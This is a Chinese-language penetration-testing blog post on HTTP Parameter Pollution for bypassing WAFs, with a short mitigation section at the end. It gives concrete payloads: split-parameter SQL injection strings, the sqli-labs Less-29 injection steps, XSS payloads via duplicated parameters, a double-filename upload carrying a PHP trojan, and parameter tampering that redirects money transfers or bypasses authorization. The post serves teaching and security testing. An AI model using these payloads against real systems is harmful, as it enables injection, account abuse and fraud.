Bypass WAF-HTTP参数污染漏洞挖掘

HPP漏洞

HPP 是 HTTP Parameter Pollution 的缩写,意思即“ HTTP 参数污染 ”。这个漏洞由 S.di Paola 与 L. Caret Toni 在 2009 年的 OWASP 上首次公布。这也是一种注入型的漏洞,攻击者通过在HTTP请求中插入特定的参数来发起攻击。如果Web应用中存在这样的漏洞,可以被攻击者利用来进行客户端或者服务器端的攻击。通过 HPP 参数污染可以实现绕过 waf 来进行攻击。

关于简单的 WAF 绕过,先前做过一个简单的总结,请参见博文:渗透测试-浅析WAF绕过

漏洞原理

浏览器与服务器进行交互时,浏览器提交 GET/POST 请求参数,这些参数会以 “名称-值对” 的形式出现。通常在一个请求中,同样名称的参数只会出现一次,但是在 HTTP 协议中是允许同样名称的参数出现多次的。

GET /foo?par1=val1&par2=val2 HTTP/1.1
User-Agent: Mozilla/5.0
Host: Host
Accept: */*

如上面的 HTTP 请求,在跟服务器交互的过程中,HTTP 协议允许 GET/POST 请求多次传同一参数值。

但是不同的服务器处理方式会不一样,比如必应搜索引擎,如果输入了两次查询参数q,第二次输入的参数值将覆盖第一次输入的参数值:
在这里插入图片描述

但是对于谷歌搜索引擎,则会将两次输入的参数值进行拼接而没有覆盖:
在这里插入图片描述
从上面可以看到,如果同时提供2个搜索的关键字参数给 Google,那么 Google 会对2个参数都进行查询;但是必应则不一样,它只会处理后面一个参数。

服务列表

下面这个表简单列举了一些常见的 Web 服务器对同样名称的参数出现多次的处理方式:
在这里插入图片描述

HPP影响

HTTP参数污染注入源于网站对于提交的相同的参数的不同处理方式导致。

例如访问以下URL : http://www.xxx.com/?id=1&&id=2,不同服务器可能获得不同的传参结果:

服务器1:获得id=1
服务器2:获得id=2
服务器3:获得id=12

假设输入http://www.xxx.com/?id=1&id=union select 1,2,3,4 from table ,服务端就有可能会将 key 处理为 1 union select 1,2,3,4 from table,从而导致SQL注入。

HPP相关的漏洞挖掘技巧:

  1. 跟越权漏洞挖掘类似,关注与用户权限紧密相关的参数,有些场景可能防范了 IDOR(越权)漏洞,但重复提交参数可能就会产生奇效;
  2. 在挖掘其他漏洞的时候,如果进行了检测又无法绕过的情况下,可以尝试通过重复提交参数/参数拼接方式绕过检测。

WAF绕过

HPP其实严格意义上讲并不属于一种漏洞,它是利用了不同服务器对于参数获取的结果不同而导致了可以利用某些漏洞。HPP的特性让它在 WAF 绕过、逻辑漏洞挖掘上具有奇效,下面介绍一些实战中挖掘利用的案例。

SQL绕过

案例1

来看看一个简单的服务端源码实例:

$sql = "select * from admin where id=1";
$sql=$sql."".$_POST['bbs'];
echo $sql;

$pattern='/^.*union.*$/';
if(preg_match($pattern, $sql)){
    echo " SQL注入测试风险告警! ";
}

在特定情况下,输入以下参数可以绕过一些 WAF:

bbs=u&bbs=n&bbs=i&bbs=o&bbs=n&bbs=select 1,user(),3

上面将参数分离写入,WAF 虽然在输入之后就开始拦截,在后端又拼接成完整的 union,根据一些特定服务器就可以绕过 WAF 进行注入。

案例2

一个常见的SQL注入payload如:

http://xxx/horse.php?id=7 union select 1,2,3,current_user

探测发现网站配置了WAF来阻止任意包含“select”或“union”等常用的SQL查询关键字,可通过HPP绕过,将注入语句写到第二个参数值的位置,则不会被WAF解析:

http://xxx/horse.php?id=0&id=7%20union%20select%201,2,3,current_user

注意】此处传递第二个参数时使用了“&”进行转义:
在这里插入图片描述
在实际测试 HPP 过程中,要结合具体的情况判断传递参数时是否应该添加“&”进行转义。

案例3

来看看 sql-labs 的 Less 29 关,即为结合 HPP 参数污染进行注入。

1、进行以下测试,发现 mysql 中用 & 连接多个参数,只输出最后一个参数的结果:

http://host/sqli-labs-master/Less-29/login.php?id=1
发现输出结果为id=1的值

http://host/sqli-labs-master/Less-29/login.php?id=1&id=2
发现输出结果为id=2的值

http://192.168.18.21/sqli-labs-master/Less-29/login.php?id=1&id=2&id=3
发现输出结果为id=3的值

2、进行以下测试,发现第一个参数被 WAF 拦截,中间的参数无影响,最后一个参数被带到数据库中执行:

http://host/sqli-labs-master/Less-29/login.php?id=1'&id=2&id=3
页面显示注入被拦截。

http://host/sqli-labs-master/Less-29/login.php?id=1&id=2'&id=3
页面无变化。

http://host/sqli-labs-master/Less-29/login.php?id=1&id=2&id=3'
页面报数据库错误。

3、于是乎,可以构造SQL语句绕过WAF进行注入查询:
在这里插入图片描述

XSS绕过

案例1:Apple Cups的XSS

Apple Cups 是被许多 UNIX 系统利用的打印系统。系统对 kerberos 进行了黑名单过滤,通过前置一个重复参数可以触发XSS:

http://xxx/?kerberos=onmouseover=alert(1)&kerberos=

这个方法可以绕过系统的验证机制,原因是这个验证系统只采纳了第二个 kerberos 的值,这个值为空,因此不会触发。而第一个 kerberos 直到被用于构建动态 HTML 内容前都没有被验证。最终在 Web站点的上下文中 javascript 语句被执行。

案例2:URL重定向+HPP+XSS

在点击网站的链接时,会将用户重定向到一个页面,链接为:

http://host/xxx.aspx?dest=http://whitelistedWebsite.com

这容易想到URL重定向漏洞,经过探测,发现dest参数接受的协议有http://、ftp://、javascript://,所以尝试构造xss:

dest=javascript://alert(document.domain)

发现存在白名单限制,尝试绕过:

dest=javascript:/whitelistedWebsite.com/i;alert(document.domain)

但分号会无法解析,导致报错,最终使用HPP绕过:

dest=javascript:/whitelistedWebsite.com/i&dest=alert(1)

原理和例1类似,接受两个参数值进行拼接:javascript://alert(1),触发XSS漏洞。

文件上传

在HPP中最典型的的例子就是 “双文件上传”

1、如下例子,可以看到 filename 参数写了两次,可能绕过一些上传限制:

在这里插入图片描述2、也可以尝试直接多加一个 filename(HPP):
在这里插入图片描述
3、或者直接多个 Content-Disposition:
在这里插入图片描述
4、同时可以上传一个正常图片文件+一个木马文件尝试绕过:

------61234564788
Content-Disposition: form-data; name="FileName"; filename=1.png”

图片内容 
------61234564788
Content-Disposition: form-data; name="FileName1"; filename=1.php”

木马内容
------61234564788--

逻辑漏洞

HPP 参数污染在逻辑漏洞挖掘中也是一个大杀器!下面来看看几个经典案例。

篡改收账账户

SilverlightFox 中,网站通过URL:

https://www.example.com/transferMoney.php?amount=1000&fromAccount=12345

进行转账操作,原本链接中是没有 toAmount 参数的,这个参数是后端固定的,但如果我们重复提交这个参数:

toAccount=9876&amount=1000&fromAccount=12345&toAccount=99999

第二个 toAccount 参数,会覆盖后端请求,并将钱转账给恶意账户( 99999 )而不是由系统设置的预期账户( 9876 )。

恶意链接跳转

不少网站都有社交分享按钮,可以把内容分享到其他社交媒体,比如曾经爆过漏洞的 Hackerone 的链接为:

https://hackerone.com/blog/introducing-signal

将其分享到FB上链接为:

https://www.facebook.com/sharer.php?u=https://hackerone.com/blog/introducing-signal

如果我们将要分享的u参数(即 Hackerone 的链接)改为:

https://www.facebook.com/sharer.php?u=https://hackerone.com/blog/introducing-signal?&u=https://vk.com/durov

后一个参数u拥有比第一个更高的优先级,之后会用于 Fackbook 的发布,最终会跳转到恶意站点https://vk.com/durov

越权取消订阅

2015 年 8 月,黑客 Mert Tasci 在取消接收 Twitter 的小心时,注意到一个有趣的 URL:

https://twitter.com/i/u?t=1&cn=bWV&sig=657&iid=F6542&uid=1134885524&nid=22+26

注意到参数 UID 可能是 Twitter 账户UID,他做了认为多数黑客都会做的事情——尝试 UID 修改为其它用户, 但 Twitter 返回了错误,说明服务端做了校验。然而 Mert 接着添加了第二个 UID 参数,构造如下参数污染的请求:

https://twitter.com/i/u?iid=F6542&uid=2321301342&uid=1134885524&nid=22+26

竟然就成功了!他成功取消订阅了其它用户的邮件提醒。这就说明,Twitter 存在 HPP 取消订阅的漏洞。

越权获取关注

一般的社交软件都有“关注”或”喜欢”功能,下面就是 ID 为 5318415 对 5333003 进行关注发送的数据包:
在这里插入图片描述
按我们通常挖掘逻辑漏洞的思路,我们可以篡改ID值,使对方关注我。这里 5318415 是我的ID,但将我的 actorId 替换为对方的 ID,会收到 “401 Unauthorized” 错误,说明此处做了鉴权操作。
在这里插入图片描述
但是,如果请求 2 个 actorId 参数,第一个 actorId 参数是目标的 actorId。这样 5024700(受害者)会关注 5318415(我)。这次得到的响应是 202 Accepted。
在这里插入图片描述
后台对于 actorId 的鉴权操作是对第二个,关注操作取的却是第一个。所以在测试越权类问题时未果不妨多试一步HPP。

越权编辑数据

来看下服务端实例代码:

<? $val=htmlspecialchars($_GET['par'],ENT_QUOTES); ?>

以下代码使用 par 参数取用户输入并生成URL:

http://host/page.php?action=view&par=123

但用户若输入 par 为:

http://host/page.php?action=view&par=123&amp;action=edit

通过重复提交 action 参数,会导致应用接受编辑操作而不是查看操作,实现权限的提升。

【注意】这里同样使用&amp;进行转义,避免对后面新增传递的参数”action=edit“直接被当作前面 par 参数的值。

修复方案

概括地讲,防范这类攻击的方法有两种:

  1. 设备层面,让WAF或其他网关设备(比如IPS)在检查URL时,对同一个参数被多次赋值的情况进行特殊处理。由于HTTP协议允许相同参数在URL中多次出现,因此这种特殊处理需要注意避免误杀的情况;
  2. 代码层面,编写WEB程序时,要通过合理的$_GET方法获取URL中的参数值,而尝试获取 Web服务器返回给程序的其他值时要慎重处理,结合其他漏洞的产生进行组合排查。

总之,要防止 HPP 引发的漏洞,除了要做好对输入参数的格式验证外,另外还需要意识到 HTTP 协议是允许同名的参数的,在整个应用的处理过程中要意识到这一点从而根据业务的特征对这样的情况作正确的处理。

  • 4
    点赞
  • 21
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Tr0e

分享不易,望多鼓励~

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值